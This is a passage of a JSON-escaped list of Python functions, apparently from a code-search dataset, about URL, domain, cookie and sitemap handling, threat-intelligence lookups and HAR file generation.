urls.append(last_url)\\r\\n else:\\r\\n if REGEXEN['valid_tco_url'].match(url):\\r\\n url = REGEXEN['valid_tco_url'].match(url).group()\\r\\n end_position = start_position + len(url)\\r\\n urls.append({\\r\\n 'url': url,\\r\\n 'indices': [start_position, end_position]\\r\\n })\\r\\n return urls\",\n \"def process_cookies(self, webhost_map):\\n\\n new_domains = set()\\n for cookie in self.found_cookies:\\n # if cookie is for a different domain, save that info and continue\\n if cookie[\\\"domain\\\"] != self.domain:\\n new_domains.add(cookie[\\\"domain\\\"])\\n continue\\n\\n path = cookie[\\\"path\\\"] if cookie[\\\"path\\\"] else \\\"/\\\"\\n # find corresponding webhost_map entry by common path and\\n # save it as \\\"page_node\\\"\\n page_node = None\\n for _, pages_node in webhost_map.items():\\n for map_path, page_node_tmp in pages_node.items():\\n if map_path == path:\\n page_node = page_node_tmp\\n break\\n if page_node is not None:\\n break\\n\\n # store the info of the current cookie in the given web host map\\n if page_node is not None:\\n if \\\"cookies\\\" in page_node:\\n if cookie[\\\"name\\\"] not in page_node[\\\"cookies\\\"]:\\n page_node[\\\"cookies\\\"].append(cookie[\\\"name\\\"])\\n else:\\n page_node[\\\"cookies\\\"] = [cookie[\\\"name\\\"]]\\n else:\\n # assume 200 status code for new path discovered through cookies\\n if \\\"200\\\" not in webhost_map:\\n webhost_map[\\\"200\\\"] = {}\\n webhost_map[\\\"200\\\"][path] = {\\\"cookies\\\": [cookie[\\\"name\\\"]]}\\n\\n return new_domains\",\n \"def getDomain(self, *args, **kwargs):\\n\\n return_json = dict()\\n jdatas = list()\\n try:\\n result, name = is_file(kwargs.get('value')[0])\\n if result:\\n jdatas = [load_file(name)]\\n kwargs['dump'] = False\\n md5_hash = ''\\n\\n except IndexError:\\n print('[-] Something going wrong')\\n return\\n\\n if not jdatas:\\n if isinstance(kwargs.get('value'), list) and len(kwargs.get('value')) == 1 and \\\\\\n os.path.exists(kwargs.get(\\\"value\\\")[0]) and kwargs.get(\\\"value\\\")[0].endswith(\\\".txt\\\"):\\n kwargs[\\\"value\\\"] = [domain.strip() for domain in open(kwargs.get(\\\"value\\\")[0], \\\"rb\\\").readlines()]\\n elif isinstance(kwargs.get('value'), six.string_types):\\n kwargs['value'] = [kwargs.get('value')]\\n\\n kwargs['value'] = [urlparse(domain).netloc.lower() if domain.startswith(('http://', 'https://')) else domain for domain in kwargs.get('value')]\\n\\n url = self.base.format('domains/')\\n\\n for domain in kwargs.get('value'):\\n url = self.base.format('domains/{}'.format(domain))\\n if kwargs.get('domain_post_comments'):\\n url += '/comments'\\n method = 'post'\\n data = '{\\\"data\\\": {\\\"type\\\": \\\"comment\\\", \\\"attributes\\\": {\\\"text\\\": \\\"Lorem ipsum dolor sit ...\\\"}}}'\\n elif kwargs.get('domain_get_comments'):\\n url += '/comments'\\n method = 'get'\\n else:\\n #url += '/' + kwargs['domain_get_relationships']\\n self.params[\\\"relationships\\\"] = 'communicating_files,downloaded_files,graphs,referrer_files,resolutions,siblings,subdomains,urls'\\n method = \\\"get\\\"\\n jdata, response = get_response(url, apikey=self.apikey, method=method, params=self.params)\\n jdatas.append((domain, jdata))\\n\\n if kwargs.get('return_raw'):\\n return jdatas\\n\\n for domain, jdata in jdatas:\\n if jdata.get('data'):\\n jdata = jdata['data']\\n\\n if not (kwargs.get('return_json') or kwargs.get('return_raw')) and kwargs.get('verbose'):\\n print('\\\\n[+] Domain:', domain)\\n\\n single_dict = (\\n 'TrendMicro category',\\n 'Dr.Web category',\\n 'BitDefender category',\\n 'Websense ThreatSeeker category',\\n 'Alexa category',\\n 'Alexa domain info',\\n 'Alexa rank',\\n 'Opera domain info',\\n 'subdomains',\\n 'siblings',\\n )\\n\\n complicated_dict = (\\n 'WOT domain info',\\n 'Webutation domain info',\\n )\\n\\n for key in single_dict:\\n if jdata.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({key: jdata[key]})\\n else:\\n self.print_key(key)\\n if isinstance(jdata[key], list):\\n print('\\\\t', '\\\\n\\\\t'.join(jdata[key]))\\n else:\\n print('\\\\t{0}'.format(jdata[key]))\\n\\n for key in complicated_dict:\\n if jdata.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({key: jdata[key]})\\n else:\\n self.__print_complex_dict(jdata, key, kwargs)\\n\\n if jdata['attributes'].get('whois') and ((kwargs.get('whois') or 'whois' in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({'whois': jdata['attributes']['whois']})\\n else:\\n print('\\\\n[+] Whois data:\\\\n')\\n try:\\n print('\\\\t', jdata['attributes']['whois'].replace('\\\\n', '\\\\n\\\\t'))\\n except:\\n try:\\n print('\\\\t', jdata['attributes']['whois'].encode('utf-8', 'replace').replace('\\\\n', '\\\\n\\\\t'))\\n except:\\n print('Old version of python has some problems with converting chars to ansii')\\n\\n self._print_complex_dict(jdata['attributes'], 'categories')\\n self.__parse_relationships(jdata['relationships'], domain)\\n if kwargs.get(\\\"domain_get_comments\\\", False) is True:\\n simple_list = (\\n \\\"date\\\",\\n \\\"tags\\\",\\n \\\"text\\\",\\n \\\"votes\\\",\\n \\\"links\\\"\\n )\\n for block in jdata:\\n print(\\\"[+] Comment ID: {}\\\".format(block[\\\"id\\\"]))\\n for key in simple_list:\\n if block.get(key) and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({key: block[\\\"attributes\\\"][key]})\\n else:\\n self.print_key(key, indent='', separator='\\\\t[+]')\\n if key == \\\"date\\\":\\n print('\\\\t', datetime_from_timestamp(block.get(key)))\\n else:\\n print('\\\\t', block.get(key))\\n\\n # ToDo\\n #elif kwargs.get(\\\"post_post_comments\\\", False) is True:\\n\\n elif kwargs.get('domain_get_relationships', False):\\n self._print_complex_dict(jdata['attributes'], 'categories')\\n self.__parse_relationships(jdata['relationships'], domain)\\n \\\"\\\"\\\"\\n simple_list = (\\n \\\"url\\\",\\n \\\"last_final_url\\\",\\n \\\"tags\\\",\\n \\\"total_votes\\\",\\n \\\"last_analysis_date\\\",\\n \\\"last_analysis_stats\\\",\\n )\\n for block in jdata['attributes']:\\n print(block)\\n for key in simple_list:\\n if block.get(key, \\\"\\\") and ((kwargs.get(key) or key in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({key:block[key]})\\n else:\\n self.print_key(key, indent='', separator='\\\\t[+]')\\n if key == \\\"last_analysis_date\\\":\\n print('\\\\t', datetime_from_timestamp(block.get(key)))\\n else:\\n print('\\\\t', block.get(key))\\n #[{u'attributes': {u'total_votes': {u'harmless': 0, u'malicious': 0}, u'last_final_url': u'https://msg3.club/', u'tags': [], u'url': u'https://msg3.club/', u'last_analysis_date': 1551639858, u'last_analysis_stats': {u'harmless': 57, u'malicious': 1, u'suspicious': 0, u'undetected': 8, u'timeout': 0}, u'first_submission_date': 1551639858,\\n self.last_analysis_results(block, args, kwargs)\\n \\\"\\\"\\\"\\n\\n if kwargs.get('return_json'):\\n return_json.update(self.__detected_samples(jdata, *args, **kwargs))\\n else:\\n return_json = self.__detected_samples(jdata, *args, **kwargs)\\n\\n if jdata.get('pcaps') and ((kwargs.get('pcaps') or 'pcaps' in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({'pcaps': jdata['pcaps']})\\n else:\\n print('\\\\n')\\n pretty_print(jdata['pcaps'], ['pcaps'], [70], ['c'], kwargs.get('email_template'))\\n\\n if jdata.get('resolutions') and ((kwargs.get('resolutions') or 'resolutions' in args) or kwargs.get('verbose')):\\n if kwargs.get('return_json'):\\n return_json.update({'passive_dns': jdata['resolutions']['data']})\\n else:\\n print('\\\\n[+] Passive DNS replication\\\\n')\\n pretty_print(jdata['resolutions']['data'],\\n ['ip_address', 'type'],\\n [25, 20],\\n ['c', 'c'],\\n kwargs.get('email_template')\\n )\\n\\n if kwargs.get('walk') and jdata.get('resolutions', {}).get(\\\"data\\\", []):\\n filter_ip = list()\\n for ip in jdata['resolutions']['data']:\\n ip = ip['id'].replace(domain, '')\\n if ip not in filter_ip:\\n print('\\\\n\\\\n[+] Checking data for ip: {0}'.format(ip))\\n kwargs['value'] = ip\\n self.getIP(**kwargs)\\n\\n if kwargs.get('dump') is True:\\n md5_hash = hashlib.md5(name.encode(\\\"utf-8\\\")).hexdigest()\\n jsondump(jdata, md5_hash)\\n\\n if kwargs.get('return_json'):\\n return return_json\",\n \"def search_urls():\\n r = req('GET', SUB_API + 'search/urls', params=apply_search_filters())\\n urls = []\\n for url in demisto.get(r.json(), 'data.items'):\\n urls.append({\\n 'Result': demisto.get(url, 'result'),\\n 'Details': demisto.get(url, 'details')\\n })\\n demisto.results({\\n 'Type': entryTypes['note'],\\n 'EntryContext': {'ThreatGrid.URLs': urls},\\n 'HumanReadable': tableToMarkdown('ThreatGrid - URL Search', urls, ['Result', 'Details']),\\n 'ContentsFormat': formats['json'],\\n 'Contents': r.json()\\n })\",\n \"def urls(self) -> Dict[str, str]:\\n url_bases = self.url_bases\\n unformatted_paths = self._url_module.url_paths\\n\\n urls = {}\\n for url_base in url_bases:\\n # The default URL_base will look like: http://service.[..].amazonaws.com/...\\n # This extension ensures support for the China & ISO regions\\n alt_dns_suffixes = {\\\"cn\\\": \\\"amazonaws.com.cn\\\"}\\n if enable_iso_regions():\\n alt_dns_suffixes.update(\\n {\\n \\\"iso\\\": \\\"c2s.ic.gov\\\",\\n \\\"isob\\\": \\\"sc2s.sgov.gov\\\",\\n \\\"isoe\\\": \\\"cloud.adc-e.uk\\\",\\n \\\"isof\\\": \\\"csp.hci.ic.gov\\\",\\n }\\n )\\n\\n for url_path, handler in unformatted_paths.items():\\n url = url_path.format(url_base)\\n urls[url] = handler\\n for dns_suffix in alt_dns_suffixes.values():\\n alt_url_base = re.sub(r\\\"amazonaws\\\\\\\\?.com$\\\", dns_suffix, url_base)\\n alt_url = url_path.format(alt_url_base)\\n urls[alt_url] = handler\\n\\n return urls\",\n \"def normalize_response(\\n extracted_hostname: str, extracted_suffix: Optional[str]\\n ) -> Tuple[str, str]:\\n\\n rule = \\\"%s %s\\\" % (target_ip, extracted_hostname)\\n\\n if keep_domain_comments and extracted_suffix:\\n if not extracted_suffix.strip().startswith(\\\"#\\\"):\\n rule += \\\" #%s\\\" % extracted_suffix\\n else:\\n rule += \\\" %s\\\" % extracted_suffix\\n\\n return extracted_hostname, rule + \\\"\\\\n\\\"\",\n \"def _get_urls_db(file_type, id, reference_name = None, start = None, end = None):\\n if file_type not in [\\\"variant\\\", \\\"read\\\"]:\\n raise ValueError(\\\"File type must be 'variant' or 'read'\\\")\\n\\n file = _get_file_by_id(id) # returns an array of tuples\\n file_exists = len(file) != 0 \\n if file_exists:\\n file_name = file[0][0] + file[0][1]\\n file_format = file[0][2]\\n\\n if start is None:\\n start = _get_index(\\\"start\\\", file_name, file_type)\\n if end is None:\\n end = _get_index(\\\"end\\\", file_name, file_type)\\n\\n urls = _create_slices(CHUNK_SIZE, id, reference_name, start, end)\\n response = {\\n 'htsget': {\\n 'format': file_format,\\n 'urls': urls \\n }\\n }\\n return {\\\"response\\\": response, \\\"http_status_code\\\": 200}\\n else:\\n err = f\\\"No {file_type} found for id: {id}\\\" \\n return {\\\"response\\\": err, \\\"http_status_code\\\": 404}\",\n \"def get_urls(inputfiles):\\n urls = []\\n scheme_rgx = re.compile(r'^https?://')\\n for ifile in inputfiles:\\n urls.append(ifile.read().splitlines())\\n urls = set([n for l in urls for n in l])\\n urls = list(filter(None, urls))\\n for i in range(len(urls)):\\n if not scheme_rgx.match(urls[i]):\\n urls[i] = 'http://' + urls[i]\\n return urls\",\n \"def __parse_urls_from_response(cls, target_str):\\n\\t\\ttree = html.fromstring(target_str)\\n\\t\\turls = tree.xpath('//a[@class=\\\"layer-link\\\"]/@href')\\n\\t\\treturn urls\",\n \"def main():\\n\\n ## Deal with incoming.\\n parser = argparse.ArgumentParser(\\n description=__doc__,\\n formatter_class=argparse.RawDescriptionHelpFormatter)\\n parser.add_argument('-w', '--walk',\\n help='Combined report JSON file')\\n parser.add_argument('-r', '--remote',\\n help='The remote server to map onto')\\n parser.add_argument('-o', '--output',\\n help='The file to dump the JSON output to')\\n parser.add_argument('-v', '--verbose', action='store_true',\\n help='More verbose output')\\n args = parser.parse_args()\\n\\n if args.verbose:\\n LOG.setLevel(logging.INFO)\\n LOG.info('Verbose: on')\\n\\n ## Ensure directory.\\n if not args.walk:\\n die_screaming('need a \\\"walk\\\" argument')\\n LOG.info('Will walk directory: ' + args.walk)\\n ## Ensure URL.\\n if not args.remote:\\n die_screaming('need \\\"remote\\\" argument')\\n LOG.info('Will map unto URL: ' + args.remote)\\n ## Ensure output file.\\n if not args.output:\\n die_screaming('need an output file argument')\\n LOG.info('Will output to: ' + args.output)\\n\\n ## Walk tree.\\n lookup = [];\\n for curr_dir, dirs, files in os.walk(args.walk):\\n\\n ## We can navigate up if we are not in the root.\\n relative_to_start = curr_dir.rstrip('//')[len(args.walk):]\\n relative_to_start = relative_to_start.lstrip('//')\\n LOG.info('curr_dir: ' + curr_dir + ' (' + relative_to_start + ')')\\n\\n ## Note files and directories.\\n for fname in files:\\n\\n ## Figure out S3 path/key and final filename, keeping in\\n ## mind that relative_to_Start can be empty if root.\\n webpath = fname\\n if relative_to_start:\\n webpath = relative_to_start + '/' + fname\\n filename = os.path.join(curr_dir, fname)\\n\\n size = os.path.getsize(filename)\\n md5sum = hashlib.md5(open(filename, 'rb').read()).hexdigest()\\n\\n ## Visual check.\\n LOG.info('file: '+ filename + ' -> [' + args.remote + '] / ' + webpath + '; ' + str(size) + ', ' + md5sum)\\n\\n lookup.append({\\n 'url': args.remote + '/' + webpath,\\n 'length': str(size),\\n 'filename': webpath,\\n 'md5': md5sum\\n })\\n\\n ## Final writeout.\\n output = json.dumps(lookup, sort_keys=True, indent=4)\\n with open(args.output, 'w+') as fhandle:\\n fhandle.write(output)\\n LOG.info(output)\",\n \"def biopax_process_pc_pathsfromto():\\n response = request.body.read().decode('utf-8')\\n body = json.loads(response)\\n source = body.get('source')\\n target = body.get('target')\\n bp = bel.process_pc_pathsfromto(source, target)\\n if bp and bp.statements:\\n stmts = stmts_to_json(bp.statements)\\n res = {'statements': stmts}\\n return res\\n else:\\n res = {'statements': []}\\n return res\",\n \"def find_domains (file_query, folder_result, file_pros=\\\"prosite_parser.tsv\\\"):\\n\\n for record in SeqIO.parse(file_query, \\\"fasta\\\"):\\n\\n with open(record.id+'_muscle.faa', \\\"r\\\") as result:\\n with open(file_pros, \\\"r\\\") as file_prosite,\\\\\\n open(record.id+\\\"_domains.txt\\\", \\\"w\\\") as finds:\\n division_result = result.read().split(\\\"\\\\n\\\")\\n division_prosite = file_prosite.read().split(\\\"\\\\n\\\")\\n\\n for i in range(len(division_result) // 2):\\n sequence = division_result[2*i + 1]\\n name = division_result[2*i]\\n seq = str(\\\"Pattern in:\\\"+name[1:]+\\\"\\\\n\\\\n\\\")\\n finds.write(seq)\\n\\n for j in division_prosite[1:]:\\n #Not to read the firt line, header\\n if j == '':\\n pass\\n else:\\n j = j.split(\\\"\\\\t\\\")\\n\\n #Read pattern with the regular expresion\\n\\n find_patron=Convert_regex(j[3])\\n if j[3] != \\\"\\\":\\n if re.search(find_patron, sequence):\\n res = str(\\\"\\\\tName\\\"+j[0]+\\\"\\\\n\\\\tAccesion:\\\"+j[1]+\\\"\\\"\\n \\\"\\\\n\\\\tDescription:\\\"+j[2]+\\\"\\\\n\\\\tPattern:\\\"+j[3])\\n finds.write(res)\\n\\n file_prosite.close()\\n\\n\\n print(\\\"The domains that were found are save in the folder: %s\\\" %(folder_result))\",\n \"def response_url():\\n current_url = urlparse(cherrypy.url()) # gets current location on the server\\n try:\\n location = cherrypy.request.json[\\\"location\\\"]\\n if parse_qs(urlparse(location['href']).query)['from']: # get from query href\\n cleaned_url = parse_qs(urlparse(location['href']).query)['from'][0]\\n if not cleaned_url.__contains__(\\n current_url.netloc): # check net location to avoid cross site script attacks\\n # No longer need to add projects to root url, so removing \\n # cleaned_url = \\\"https://\\\" + current_url.netloc + \\\"/projects\\\"\\n cleaned_url = \\\"https://\\\" + current_url.netloc\\n else:\\n # No longer need to add projects to root url, so removing \\n # cleaned_url = \\\"https://\\\" + current_url.netloc + \\\"/projects\\\"\\n cleaned_url = \\\"https://\\\" + current_url.netloc\\n except Exception as e:\\n # cherrypy.log.error(\\\"no location provided setting target to /projects\\\")\\n # No longer need to add projects to root url, so removing \\n # cleaned_url = \\\"https://\\\" + current_url.netloc + \\\"/projects\\\"\\n cleaned_url = \\\"https://\\\" + current_url.netloc\\n return cleaned_url\",\n \"def search(url, domain_list):\\n resp = requests.get(url)\\n if not resp.json().get('hits', '').get('hits', []):\\n return\\n for hit in resp.json()[\\\"hits\\\"][\\\"hits\\\"]:\\n domain = hit.get(\\\"_source\\\", {}).get(\\\"domain\\\", \\\"\\\")\\n if not domain:\\n continue\\n if not domain in domain_list:\\n domain_list.append(domain)\\n #print(hit[\\\"_source\\\"].get(\\\"title\\\", \\\"\\\").encode(\\\"ascii\\\",\\\"ignore\\\"))\\n if domain not in ALLOWED_DOMAINS:\\n print(domain)\",\n \"def paths(domain, resource):\\n ret = {}\\n path = '/{0}'.format(resource.get('url', domain))\\n path = re.sub(r'<(?:[^>]+:)?([^>]+)>', '{\\\\\\\\1}', path)\\n pathtype = 'resource'\\n ret[path] = methods(domain, resource, pathtype)\\n\\n primary = identifier(resource)\\n path = '{0}/{1}'.format(path, pathparam(primary['name']))\\n pathtype = 'item'\\n ret[path] = methods(domain, resource, pathtype)\\n\\n alt = resource.get('additional_lookup', None)\\n if alt is not None:\\n path = '/{0}/{1}'.format(domain, pathparam(alt['field']))\\n pathtype = 'additional_lookup'\\n ret[path] = methods(domain, resource, pathtype, alt['field'])\\n return ret\",\n \"def by_domains(self):\\n\\t\\t\\n\\t\\t# TODO: use urllib instead\\n\\t\\turl_format = r'^\\\\s*(?:(?P<protocol>\\\\w+)://)?(?P<domain>[\\\\w\\\\d\\\\-\\\\.]+)(?::(?P<port>\\\\d+))?/?(?P<everything_else>.*)$'\\n\\t\\tsites = {}\\n\\t\\tfor line in self.source.lines:\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tif self.filter(line):\\n\\t\\t\\t\\t\\tresult = re.match(url_format, line.content.url)\\n\\t\\t\\t\\t\\tif result.group('domain') not in sites.keys():\\n\\t\\t\\t\\t\\t\\tsites[result.group('domain')] = 0\\n\\t\\t\\t\\t\\tsites[result.group('domain')] += int(line.content.size)\\n\\t\\t\\texcept AttributeError:\\n\\t\\t\\t\\tpass\\n\\t\\t\\n\\t\\t# TODO: sort; convert to lists is even better\\n\\t\\t\\n\\t\\treturn sites\",\n \"def extract_URLs(self, input_file_name):\\n file = open(input_file_name, 'r')\\n lines = []\\n for line in file.readlines():\\n # Don't add empty lines.\\n if len(line.strip()) > 0:\\n lines.append(line.strip())\\n return lines\",\n \"def group_by_domain(hash_entries):\\n entries = (get_entry(h) for h in hash_entries)\\n domains = {}\\n for e in entries:\\n domains[e['url_domain']] = domains.get(e['url_domain']) or []\\n domains[e['url_domain']].append(e)\\n return [{'domain': name, 'entries': ent} for name, ent in domains.items()]\",\n \"def create_dns_dictionary(self, path_tracefile):\\n responses = self.get_dns_responses(path_tracefile)\\n dns_dict = dict()\\n for response in responses:\\n for x in range(response[DNS].ancount): # answer count, how many IP adresses are returned for the query\\n try: # answer count could also include 'DNS SRV Resource Record' which does not have a 'rrname' attribute so ancount is wrong if there is such a record -> TODO get amount of DNSRR instead of using ancount\\n domain = getattr(response[DNSRR][x], 'rrname').decode(\\\"utf-8\\\") # domain (this is returned in bytes so decode)\\n ip = getattr(response[DNSRR][x], 'rdata') # IP adres of the domain, TODO make this work for multiple ip adresses for one domain (Test with [0] at end)\\n dns_dict[ip] = domain[:-1] #remove last char '.' \\n except:\\n continue\\n return dns_dict\",\n \"def ListUrlEntries(self):\\n return [WprUrlEntry(request, self._http_archive[request])\\n for request in self._http_archive.get_requests()]\",\n \"def get_people_urls(gedcom_data, apid_full_map):\\n people = {}\\n found = False\\n logging.info(\\\"Extracting person specific URL information\\\")\\n for line in gedcom_data.split(\\\"\\\\n\\\"):\\n if len(line) > 5:\\n tag = line.split(\\\" \\\")[1]\\n if \\\"@P\\\" in tag:\\n person = tag\\n found = False\\n continue\\n if tag == \\\"_APID\\\" and not found:\\n apid = line.split(\\\" \\\")[2]\\n if apid in apid_full_map:\\n if \\\"person_url\\\" in apid_full_map[apid]:\\n if apid_full_map[apid][\\\"person_url\\\"] != \\\"\\\":\\n people.update({person: apid_full_map[apid][\\\"person_url\\\"]})\\n found = True\\n logging.info(\\\"Person URL extraction completed\\\")\\n return people\",\n \"def simplify_links(proj,exp,links):\\n simple_links =[] \\n\\n for key in links:\\n (node_name,x,y) = key.rpartition(':')\\n node_name = node_name+\\\".\\\"+exp+\\\".\\\"+proj+\\\".emulab.net\\\"\\n simple_links.append((node_name,links[key]['ipaddr']))\\n\\n return simple_links\",\n \"def get_sources_and_targets(index_pairings):\\n\\n source_target_dictionary = {}\\n links_list = []\\n \\n itr = 0\\n \\n for pair in index_pairings:\\n source = pair[0]\\n target = pair[1]\\n\\n source_target_dictionary = {\\\"source\\\":source, \\\"target\\\":target}\\n links_list.append(source_target_dictionary)\\n\\n return links_list\",\n \"def get_urls(links):\\n\\n temp_list=[]\\n url_list=[]\\n temp_list2=[]\\n #Open the file where the url's are saved and copy the tuple values into an empty list\\n z=open('dbdocs.txt','r')\\n for line in z:\\n temp_list.append(line)\\n #print temp_list\\n for x in temp_list:\\n index=x.find(',')\\n if index==-1:\\n y=x.split(\\\" \\\",1)\\n key=int(y[0])\\n val=str(x[1]).replace('\\\\n','')\\n url_list.append((key,val))\\n else:\\n #find the tab seperator between the key and the url, and\\n #split them, in order to put in a list\\n key=x[0:index-1]\\n #print key\\n value=str(x[index+3:len(x)-1])\\n #print value\\n temp_list2.append((int(key),value))\\n #Find the url's of the links where the word was found\\n for k in links:\\n for i,j in temp_list2:\\n #print j\\n if i==k:\\n url_list.append((i,j))\\n break\\n #print len(url_list)\\n #print len(links)\\n z.close()\\n return url_list\",\n \"def getlinks_to(markup, domain):\\n links = []\\n for link in markup.cssselect('a'):\\n target = link.get('href')\\n\\n if indomain(target, domain):\\n links.append(target)\\n\\n return links\",\n \"def _urls(*, repository, commit, mirrors):\\n result_with_nulls = [\\n _format_url(\\n pattern = x,\\n repository = repository,\\n commit = commit,\\n )\\n for x in mirrors.get(\\\"github\\\")\\n ]\\n return [\\n url\\n for url in result_with_nulls\\n if url != None\\n ]\",\n \"def redirect_uris(self) -> pulumi.Output[Optional[Sequence[str]]]:\\n return pulumi.get(self, \\\"redirect_uris\\\")\",\n \"def generate_hars():\\n results_path = 'data/results.db'\\n results_data = {}\\n try:\\n results_data = pickle.load(open(results_path, 'rb'))\\n except IOError:\\n raise IOError('Could not read from {0}'.format(results_path))\\n\\n wpr_path = 'data/wpr_source'\\n wpr_files = filter(lambda x: '.wpr' in x, os.listdir(wpr_path))\\n for wpr_file in wpr_files:\\n curr_wpr = cPickle.load(open(os.path.join(wpr_path, wpr_file), 'rb'))\\n curr_har_dict = {'log':\\n {'pages':\\n [{'id': '',\\n 'title': '',\\n 'pageTimings': {\\n 'onContentLoad': None,\\n 'onLoad': None\\n }\\n }],\\n 'entries': []\\n }\\n }\\n wpr_host = None\\n print wpr_file\\n for key, value_lst in zip(curr_wpr.keys(), curr_wpr.values()):\\n matches = [full_url for full_url in results_data.keys() if \\\\\\n key.host in full_url]\\n if matches:\\n if len(matches) != 1:\\n print \\\"Found 2 urls with the same name!\\\"\\n print matches\\n continue\\n assert len(matches) == 1, ('Found more than 1 match for'\\n ' {0}'.format(matches))\\n agg_key = matches[0]\\n # Found a match!\\n curr_har_dict['log']['pages'][0]['id'] = key.host\\n curr_har_dict['log']['pages'][0]['title'] = key.host\\n if '_pc' in wpr_file:\\n wpr_host = urlsafe_b64encode(agg_key) + '.pc'\\n # It's a modified wpr file\\n curr_har_dict['log']['pages'][0]['pageTimings']['onLoad'] \\\\\\n = results_data[agg_key]['modified_cold_time']\\n else:\\n wpr_host = urlsafe_b64encode(agg_key)\\n # It's an original wpr file\\n curr_har_dict['log']['pages'][0]['pageTimings']['onLoad'] \\\\\\n = results_data[agg_key]['cold_time']\\n else:\\n # This website is loading a third party object\\n # Still include this in the har file\\n pass\\n # Add to each element to entries\\n # Request data\\n method = key.command\\n element_url = key.host + key.full_path\\n # Response data\\n status = value_lst.status\\n # TODO: Correct way to calculate headersSize and bodySize?\\n headerSize = 0 # Need to find this in value_lst\\n bodySize = 0 # Need to find this in value_lst\\n # Create each element's header list\\n tmp_header_lst = []\\n for name, value in value_lst.headers:\\n if 'content-length' in name:\\n bodySize = int(value)\\n headerSize += len(name) + len(value) # This should be verified\\n tmp_header_lst.append({'name': name, 'value': value})\\n\\n tmp_entry = {\\n 'request': {\\n 'method': None,\\n 'url': None\\n },\\n 'response': {\\n 'status': None,\\n 'headers': [],\\n 'headersSize': None,\\n 'bodySize': None\\n }\\n }\\n curr_entry = tmp_entry.copy()\\n curr_entry['request']['method'] = method\\n curr_entry['request']['url'] = element_url\\n curr_entry['response']['status'] = status\\n curr_entry['response']['headers'] = tmp_header_lst\\n curr_entry['response']['headersSize'] = headerSize\\n curr_entry['response']['bodySize'] = bodySize\\n\\n curr_har_dict['log']['entries'].append(curr_entry)\\n\\n # Write to har file\\n if wpr_host is None:\\n print 'Could not create host from url: {0}'.format(wpr_file)\\n continue\\n\\n har_path = '../data/replay/'\\n file_name = har_path + wpr_host + '.har' # Modified for har processing\\n with open(file_name, 'wb') as f:\\n try:\\n json.dump(curr_har_dict, f)\\n except:\\n # Silently fail\\n print \\\"Unable to write har file: \\\" + str(file_name)\",\n \"def get_path(input_dictionary, output_dictionary,\\n input_species_list, output_species_list):\\n\\n input_operon_list = []\\n path_queue = [(input_operon_list, input_species_list) ]\\n\\n final_operon_path_list = []\\n final_species_path_list = []\\n\\n while path_queue != []:\\n\\n ###print \\\"\\\\nget_path: path queue:\\\",path_queue\\n\\n path_queue,\\\\\\n final_operon_path_list,\\\\\\n final_species_path_list = traverse(input_dictionary,\\n output_dictionary,\\n input_species_list,\\n output_species_list,\\n path_queue,\\n final_operon_path_list,\\n final_species_path_list)\\n\\n return final_operon_path_list, final_species_path_list\",\n \"def urls_from_robots_txt(response):\\n\\n url = URL(response.request_url or response.url or '')\\n if url.parsed.path != '/robots.txt':\\n return\\n\\n charset = response.headers.get_content_charset()\\n lines = getreader(charset or 'ISO-8859-1')(response)\\n\\n for line in lines:\\n\\n content, _, comment = line.partition('#')\\n field, _, value = content.partition(':')\\n if field.strip().lower() != 'sitemap':\\n continue\\n\\n # we shouldn't need to urljoin but we do just in case\\n joined = URL(urljoin(response.url, value.strip()))\\n # set sitemap=True in fragment to help downstream processing\\n yield \\\"url\\\", joined.update_fragment_dict(sitemap=True)\",\n \"def urls_from_urlset_or_sitemapindex(response):\\n\\n sitemap = URL(response.url).fragment_dict.get('sitemap')\\n content_subtypes = response.headers.get_content_subtype().split('+')\\n if not sitemap and 'xml' not in content_subtypes:\\n return\\n\\n root = None\\n try:\\n for _, elem in iterparse(decode(response)):\\n\\n if root is None:\\n root = elem.getroottree().getroot()\\n if not (root.tag.endswith('}sitemapindex') or\\n root.tag.endswith('}urlset')):\\n # root element has wrong tag - give up\\n break\\n\\n if elem.tag.endswith('}loc') and elem.text is not None:\\n text = elem.text.strip()\\n if text:\\n # http://www.sitemaps.org/protocol.html#locdef\\n url = URL(urljoin(response.url, text))\\n if elem.getparent().tag.endswith('}sitemap'):\\n # set sitemap=True to help downstream processing\\n url = url.update_fragment_dict(sitemap=True)\\n yield \\\"url\\\", url\\n\\n if elem.getparent() is root:\\n # release memory for previous elements\\n while elem.getprevious() is not None:\\n del root[0]\\n\\n except XMLSyntaxError:\\n log.debug(\\\"XMLSyntaxError in '%s' (%d)\\\", response.url, response.code)\",\n \"def get_shelflist_urls():\\n def _get_shelflist_urls(records):\\n locations = set([r['location_code'] for r in records])\\n return { loc: ('{}locations/{}/shelflistitems/'.format(API_ROOT, loc)) \\n for loc in locations }\\n return _get_shelflist_urls\",\n \"def list_routes():\\n import urllib\\n output = []\\n for rule in app.url_map.iter_rules():\\n options = {}\\n for arg in rule.arguments:\\n options[arg] = \\\"[{0}]\\\".format(arg)\\n\\n methods = ','.join(rule.methods)\\n url = url_for(rule.endpoint, **options)\\n line = urllib.parse.unquote(\\n \\\"{:35s} {:35s} {}\\\".format(\\n rule.endpoint,\\n methods,\\n url\\n )\\n )\\n output.append(line)\\n\\n for line in sorted(output):\\n print(line)\",\n \"def get_links(self, records: list = None, collection: bool = False) -> List[dict]:\\n if not records:\\n records = []\\n if not collection:\\n for record in records:\\n links = [\\n self._get_self_record(record).to_dict(),\\n self._get_parent_record().to_dict(),\\n self._get_root_record().to_dict(),\\n ]\\n record.update({\\\"links\\\": links})\\n return records\\n else:\\n links = [self._get_self_collection().to_dict()]\\n return links\",\n \"def extract_all_references(dig_parent_dir, readfile):\\n dig_parent_path_obj = Path(dig_parent_dir)\\n extracted = {\\\"refs\\\": {}, \\\"hrefsToRefs\\\": {}}\\n for split_page_num in [282, 283, 284]:\\n split_page_dir = dig_parent_path_obj / \\\"dig/html/split\\\"\\n refs_html = readfile(\\n \\\"report\\\" + str(split_page_num) + \\\"b.html\\\", split_page_dir\\n )\\n data = extract_references_page(refs_html)\\n extracted['refs'].update(data['refs'])\\n extracted['hrefsToRefs'].update(data['hrefsToRefs'])\\n\\n 